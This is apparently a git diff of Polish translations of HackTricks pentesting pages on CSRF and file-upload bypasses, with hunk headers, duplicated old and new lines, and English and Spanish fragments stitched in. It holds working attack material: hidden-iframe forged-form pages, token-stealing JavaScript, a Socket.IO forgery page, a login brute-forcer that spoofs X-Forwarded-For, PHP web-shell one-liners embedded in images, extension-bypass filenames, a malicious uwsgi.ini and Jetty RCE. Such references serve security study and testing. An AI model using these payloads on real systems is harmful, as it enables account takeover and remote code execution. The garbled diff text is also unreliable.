Aby przeprowadzić atak CSRF za pomocą iframe, atakujący musi stworzyć formularz z żądanymi parametrami i docelowym adresem URL. Następnie formularz ten jest osadzany wewnątrz iframe na stronie internetowej atakującego. Kiedy użytkownik odwiedza stronę atakującego, formularz jest automatycznie wysyłany bez jego wiedzy i zgody.
This attack is successful if the user is authenticated on the target website and has an active session. The browser includes the user's session cookies in the POST request, making it appear as if the request originated from the user.
Atak ten jest udany, jeśli użytkownik jest uwierzytelniony na docelowej stronie internetowej i ma aktywną sesję. Przeglądarka dołącza pliki cookie sesji użytkownika do żądania POST, sprawiając, że żądanie wydaje się pochodzić od użytkownika.
To prevent CSRF attacks, web applications can implement measures such as using anti-CSRF tokens, checking the Referer header, or implementing SameSite cookies.
Aby zapobiec atakom CSRF, aplikacje internetowe mogą zastosować środki takie jak użycie tokenów anti-CSRF, sprawdzanie nagłówka Referer lub implementowanie plików cookie SameSite.
### Wysyłanie żądania POST formularza z wewnętrznej ramki (iframe)
```html
<--! expl.html -->
@ -514,22 +365,6 @@ function envia(){document.getElementById("formulario").submit();}
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **Ukradnij token CSRF i wyślij żądanie POST**
Aby przeprowadzić atak CSRF, musisz najpierw ukraść token CSRF z witryny docelowej. Token ten jest zazwyczaj generowany przez serwer i dołączany do formularzy lub nagłówków żądań HTTP w celu weryfikacji tożsamości użytkownika.
#### **Metoda 1: Wykorzystanie podatności XSS**
Jeśli witryna docelowa jest podatna na ataki XSS (Cross-Site Scripting), możesz wykorzystać tę podatność do ukrycia skryptu na stronie, który będzie kradł token CSRF. Skrypt ten może następnie wysłać żądanie POST z ukradzionym tokenem do serwera atakującego.
#### **Metoda 2: Wykorzystanie podatności SSRF**
Jeśli witryna docelowa jest podatna na ataki SSRF (Server-Side Request Forgery), możesz wykorzystać tę podatność do wysłania żądania z serwera docelowego do serwera atakującego. W odpowiedzi na to żądanie, serwer atakujący może otrzymać token CSRF i użyć go do wysłania żądania POST.
#### **Metoda 3: Wykorzystanie podatności w aplikacji mobilnej**
Jeśli witryna docelowa ma powiązaną aplikację mobilną, możesz poszukać podatności w tej aplikacji, które umożliwią ci uzyskanie tokena CSRF. Możesz następnie użyć tego tokenu do wysłania żądania POST z serwera atakującego.
Po uzyskaniu tokena CSRF, możesz wysłać żądanie POST z ukradzionym tokenem do serwera docelowego. Ten żądanie zostanie uznane za prawidłowe, ponieważ zawiera poprawny token CSRF, co pozwoli ci na wykonanie nieautoryzowanych działań w imieniu użytkownika.
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
@ -576,18 +411,7 @@ var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **Kradzież tokena CSRF i wysłanie żądania POST za pomocą iframe, formularza i Ajax**
W tej technice atakujący kradnie token CSRF z witryny docelowej i następnie wysyła żądanie POST, wykorzystując iframe, formularz i Ajax. Poniżej przedstawiono kroki do wykonania tego ataku:
1. Atakujący tworzy stronę internetową, która zawiera ukryte iframe, formularz i kod Ajax.
2. W ukrytym iframe atakujący umieszcza adres URL witryny docelowej, na której znajduje się formularz, który ma zostać sfałszowany.
3. W formularzu atakujący umieszcza pola, które są wymagane przez formularz na witrynie docelowej, w tym pole dla tokena CSRF.
4. Za pomocą kodu Ajax atakujący wysyła żądanie POST na witrynę docelową, wykorzystując dane z formularza.
5. Ponieważ żądanie jest wysyłane z tej samej domeny, co witryna docelowa, token CSRF jest automatycznie dołączany do żądania.
6. Witryna docelowa, nieświadoma ataku, przetwarza żądanie i wykonuje odpowiednie akcje.
Ten atak jest skuteczny, ponieważ atakujący może wykorzystać zaufanie witryny docelowej do wysłania sfałszowanego żądania. Aby się przed nim chronić, witryny powinny weryfikować źródło żądania i sprawdzać, czy token CSRF jest prawidłowy.
### **Ukradnij token CSRF i wyślij żądanie POST za pomocą ramki iframe, formularza i Ajax**
```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
@ -607,21 +431,7 @@ document.getElementById("form1").submit();
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **Ukradnij token CSRF i wyślij żądanie POST za pomocą iframe i formularza**
Aby ukraść token CSRF i wysłać żądanie POST za pomocą iframe i formularza, wykonaj następujące kroki:
1. Utwórz stronę internetową, na której znajduje się złośliwy kod.
2. Na tej stronie umieść iframe, który będzie wczytywał docelową stronę, na której znajduje się formularz.
3. Wewnątrz iframe dodaj skrypt JavaScript, który będzie wykonywał następujące czynności:
- Pobierz token CSRF z formularza na docelowej stronie.
- Utwórz nowy formularz i ustaw jego atrybuty, takie jak akcja (URL docelowej strony) i metoda (POST).
- Dodaj ukryte pole do formularza i ustaw jego wartość na skradziony token CSRF.
- Dodaj formularz do drzewa DOM.
- Wywołaj metodę submit na formularzu, aby wysłać żądanie POST z ukradzionym tokenem CSRF.
4. Po wykonaniu tych kroków, żądanie POST zostanie wysłane na docelową stronę, wykorzystując skradziony token CSRF.
Pamiętaj, że wykorzystywanie tej techniki jest nielegalne i narusza prywatność innych osób. Zawsze działaj zgodnie z prawem i etyką.
### **Ukradnij token CSRF i wyślij żądanie POST za pomocą ramki i formularza**
```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
@ -639,7 +449,7 @@ document.forms[0].submit.click();
}
</script>
```
### **Ukradnij token i wyślij go za pomocą 2 ramek (iframes)**
### **Ukradnij token i wyślij go za pomocą 2 ramek**
```html
<script>
var token;
@ -669,18 +479,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTUkradnij token CSRF za pomocą Ajaxa i wyślij żądanie POST z formularzem**
To steal a CSRF token using Ajax and send a POST request with a form, you can use the following steps:
1. Use Ajax to send a GET request to the target website and retrieve the HTML content of the page containing the CSRF token.
2. Parse the HTML content to extract the CSRF token value.
3. Create a new HTML form with the necessary input fields, including the stolen CSRF token.
4. Use Ajax to send a POST request to the target website, including the form data.
5. The target website will process the POST request, considering it as a legitimate request due to the presence of the valid CSRF token.
6. As a result, the attacker can perform actions on behalf of the victim without their knowledge or consent.
Keep in mind that this technique can be used for malicious purposes and is considered a security vulnerability. It is important to implement proper CSRF protection mechanisms to prevent such attacks.
### **POSTUkradnij token CSRF za pomocą Ajax i wyślij żądanie POST za pomocą formularza**
```html
<body onload="getData()">
@ -708,27 +507,6 @@ document.getElementById("form").submit();
</script>
```
### CSRF z Socket.IO
Cross-Site Request Forgery (CSRF) to atak, który polega na wykorzystaniu zaufania serwera do wykonania nieautoryzowanych akcji w imieniu użytkownika. W przypadku aplikacji opartych na Socket.IO, atak CSRF może być wykorzystany do manipulacji komunikacji w czasie rzeczywistym między klientem a serwerem.
#### Sposób działania ataku CSRF z Socket.IO
1. Atakujący tworzy złośliwą stronę internetową, która zawiera kod JavaScript, który wykorzystuje Socket.IO do nawiązania połączenia z serwerem.
2. Użytkownik odwiedza złośliwą stronę, co powoduje nawiązanie połączenia z serwerem Socket.IO.
3. Serwer Socket.IO uznaje połączenie za autoryzowane, ponieważ nie sprawdza, czy żądanie pochodzi z zaufanego źródła.
4. Atakujący wykorzystuje to autoryzowane połączenie do wysyłania złośliwych żądań na serwer w imieniu użytkownika.
5. Serwer wykonuje złośliwe żądania, nieświadomy, że zostały one wysłane przez atakującego.
#### Zapobieganie atakom CSRF z Socket.IO
Aby zapobiec atakom CSRF z Socket.IO, należy zastosować odpowiednie zabezpieczenia:
1. Weryfikacja źródła żądania: Serwer Socket.IO powinien sprawdzać, czy żądanie pochodzi z zaufanego źródła, takiego jak domena aplikacji.
2. Używanie tokenów CSRF: Serwer powinien generować unikalne tokeny CSRF dla każdego żądania i wymagać, aby klient przesyłał ten token wraz z żądaniem. Serwer powinien sprawdzać, czy token jest prawidłowy przed wykonaniem żądania.
3. Ustawianie nagłówka SameSite: Ustawienie nagłówka SameSite na wartość "Strict" lub "Lax" może pomóc w ograniczeniu ataków CSRF, uniemożliwiając przesyłanie żądań z innych stron.
4. Używanie mechanizmów uwierzytelniania: Wprowadzenie mechanizmów uwierzytelniania, takich jak logowanie i uwierzytelnianie dwuskładnikowe, może dodatkowo zabezpieczyć aplikację przed atakami CSRF.
Wprowadzenie tych zabezpieczeń pomoże w minimalizacji ryzyka ataków CSRF z wykorzystaniem Socket.IO. Ważne jest, aby pamiętać o aktualizowaniu i monitorowaniu zabezpieczeń w celu zapewnienia ochrony przed nowymi zagrożeniami.
```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
@ -749,9 +527,9 @@ room: username
});
</script>
```
## CSRF Brute Force Logowania
## Atak Brute Force CSRF
Kod może być używany do Brut Force formularza logowania za pomocą tokena CSRF (Używa również nagłówka X-Forwarded-For w celu próby obejścia możliwego czarnolistowania IP):
Kod może być użyty do przeprowadzenia ataku Brut Force na formularz logowania, wykorzystując token CSRF (wykorzystuje również nagłówek X-Forwarded-For w celu próby obejścia ewentualnego czarnolistowania adresów IP):
```python
import request
import re
@ -800,7 +578,7 @@ login(USER, line.strip())
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## Odwołania
## Odnośniki
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
@ -809,31 +587,31 @@ login(USER, line.strip())
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w hakerstwo**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Spojrzenie na Hacking**\
Zanurz się w treściach dotyczących emocji i wyzwań związanych z hakerstwem
**Aktualności na żywo o hakerstwie**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom na żywo
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -14,9 +14,9 @@ Inne sposoby wsparcia HackTricks:
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagany biegły polski w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -33,13 +33,13 @@ Inne przydatne rozszerzenia:
* **Perl**: _.pl, .cgi_
* **Serwer WWW Erlang Yaws**: _.yaws_
### Ominiecie sprawdzania rozszerzeń plików
### Ominięcie sprawdzania rozszerzeń plików
1. Jeśli stosują się, **sprawdź** **poprzednie rozszerzenia**. Sprawdź je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
* _file.png.php_
* _file.png.Php5_
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **przeprowadzenia ataku brutalnej siły** na wszystkie znaki **ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
3. Spróbuj dodać **znaki specjalne na końcu**. Możesz użyć Burp do **próby siłowej** wszystkich znaków **ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -49,7 +49,7 @@ Inne przydatne rozszerzenia:
* _file._
* _file.php...._
* _file.pHp5...._
4. Spróbuj ominąć zabezpieczenia **oszukując analizator rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub dodawanie **śmieciowych** danych (bajty **null**) między rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** do przygotowania lepszego ładunku._
4. Spróbuj ominąć zabezpieczenia **oszukując analizator rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub dodawanie danych **śmieciowych** (bajty **null**) między rozszerzeniami. _Możesz również użyć **poprzednich rozszerzeń** do przygotowania lepszego ładunku._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -61,48 +61,48 @@ Inne przydatne rozszerzenia:
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem **.php**, ale niekoniecznie kończące się na .php\*\* będzie wykonywać kod):
6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem **.php**, ale niekoniecznie kończące się na .php\*\* będzie wykonywać kod):
* _np. file.php.png_
7. Używanie **alternatywnego strumienia danych NTFS (ADS)** w **Windows**. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony **pusty plik z niedozwolonym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec „**::$data**” może również być używany do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. „file.asp::$data.”)
8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php
7. Używanie **alternatywnego strumienia danych NTFS (ADS)** w **Windows**. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony **pusty plik z niedozwolonym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec "**::$data**" może również być używany do tworzenia niepustych plików. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. "file.asp::$data.")
8. Spróbuj złamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php
```
# Maksymalnie 255 bajtów w systemie Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odejmij 4 i dodaj .png
# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Załóżmy 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odjęcie 4 tutaj i dodanie .png
# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Utwórz ładunek
AAA<--SNIP 232 A-->AAA.php.png
```
### Ominięcie sprawdzania typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru
### Ominięcie typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru
* Ominięcie sprawdzania **typu zawartości** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, _application/octet-stream_
* Ominięcie sprawdzania **typu zawartości** przez ustawienie **wartości** **nagłówka** **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
1. **Słownik typów zawartości**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Ominięcie sprawdzania **numeru magicznego** poprzez dodanie na początku pliku **bajtów rzeczywistego obrazu** (myli polecenie _file_). Lub wprowadzenie powłoki w **metadanych**:\
`exiftool -Comment="<?php echo 'Polecenie:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` lub można również **wprost wprowadzić ładunek** w obrazie:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą przydatne. Możesz jednak użyć **kawałka PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
* Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą przydatne. Możesz jednak użyć **kawałka PLTE** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Strona internetowa może również **zmieniać rozmiar obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **kawałka IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
* Strona internetowa może również **zmieniać rozmiar obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **kawałka IDAT** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Inna technika umożliwiająca utworzenie ładunku, który **przetrwa zmianę rozmiaru obrazu**, to użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **kawałka tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
* Inna technika umożliwiająca stworzenie ładunku, który **przetrwa zmianę rozmiaru obrazu**, to użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **kawałka tEXt** [**technika zdefiniowana tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Inne sztuczki do sprawdzenia
* Znajdź podatność umożliwiającą **zmianę nazwy** już przesłanego pliku (zmianę rozszerzenia).
* Znajdź podatność umożliwiającą **zmianę nazwy** już przesłanego pliku (aby zmienić rozszerzenie).
* Znajdź podatność na **Lokalne Włączenie Pliku** do wykonania backdoor.
* **Możliwe ujawnienie informacji**:
1. Prześlij **kilka razy** (i **jednocześnie**) ten **sam plik** o **tej samej nazwie**
2. Prześlij plik o **nazwie** pliku lub folderu, który **już istnieje**
3. Prześlij plik o nazwie **“.”, “..”, lub “…”**. Na przykład w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, plik o nazwie “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
1. Prześlij **kilka razy** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie**
2. Prześlij plik o **nazwie** **pliku** lub **folderu**, który **już istnieje**
3. Prześlij plik o nazwie **“.”, “..”, lub “…”**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” stworzy plik o nazwie “uploads” w katalogu “/www/”.
4. Prześlij plik, który nie może być łatwo usunięty, taki jak **“…:.jpg”** w **NTFS**. (Windows)
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows)
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zakazanych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9.
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** gdy zostanie przypadkowo otwarty przez ofiarę.
### Specjalne sztuczki z rozszerzeniami
@ -115,7 +115,7 @@ Rozszerzenie `.inc` jest czasami używane dla plików php, które służą tylko
## **Jetty RCE**
Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, ponieważ **nowe pliki \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak wspomniano na poniższym obrazku, przesłaj plik XML do `$JETTY_BASE/webapps/` i czekaj na powłokę!
Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, ponieważ **nowe pliki \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak wspomniano na poniższym obrazie, przesłaj plik XML do `$JETTY_BASE/webapps/` i czekaj na powłokę!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
@ -123,7 +123,7 @@ Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać [RCE, poni
Dla szczegółowego zbadania tej podatności sprawdź oryginalne badania: [Eksploatacja uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują określoną składnię do uwzględniania "magicznych" zmiennych, zastępców i operatorów. Warto zauważyć, że operator '@', używany jako `@(nazwa_pliku)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują konkretną składnię do uwzględniania "magicznych" zmiennych, zastępców i operatorów. Warto zauważyć, że operator '@', używany jako `@(nazwapliku)`, służy do dołączania zawartości pliku. Spośród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Rozważ poniższy przykład szkodliwego pliku `uwsgi.ini`, prezentującego różne schematy:
```ini
@ -149,8 +149,8 @@ Niezwykle istotne jest zrozumienie luźnego charakteru analizy pliku konfiguracy
## **Sztuczka z przesyłaniem plików/SSRF za pomocą wget**
W niektórych sytuacjach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **określić** **URL**. W tych przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane są tylko dozwolone pliki. Jednakże, **ta weryfikacja może zostać ominięta.**\
**Maksymalna** długość **nazwy pliku** w systemie **Linux** to **255**, jednakże **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **weryfikację** (jak w tym przykładzie **".gif"** to **poprawne** rozszerzenie), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
W niektórych sytuacjach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **określić** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane są tylko dozwolone pliki. Jednakże, **to sprawdzenie można ominąć.**\
**Maksymalna** długość **nazwy pliku** w systemie **linux** wynosi **255**, jednakże **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **omija** **sprawdzenie** (jak w tym przykładzie **".gif"** to **poprawne** rozszerzenie), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
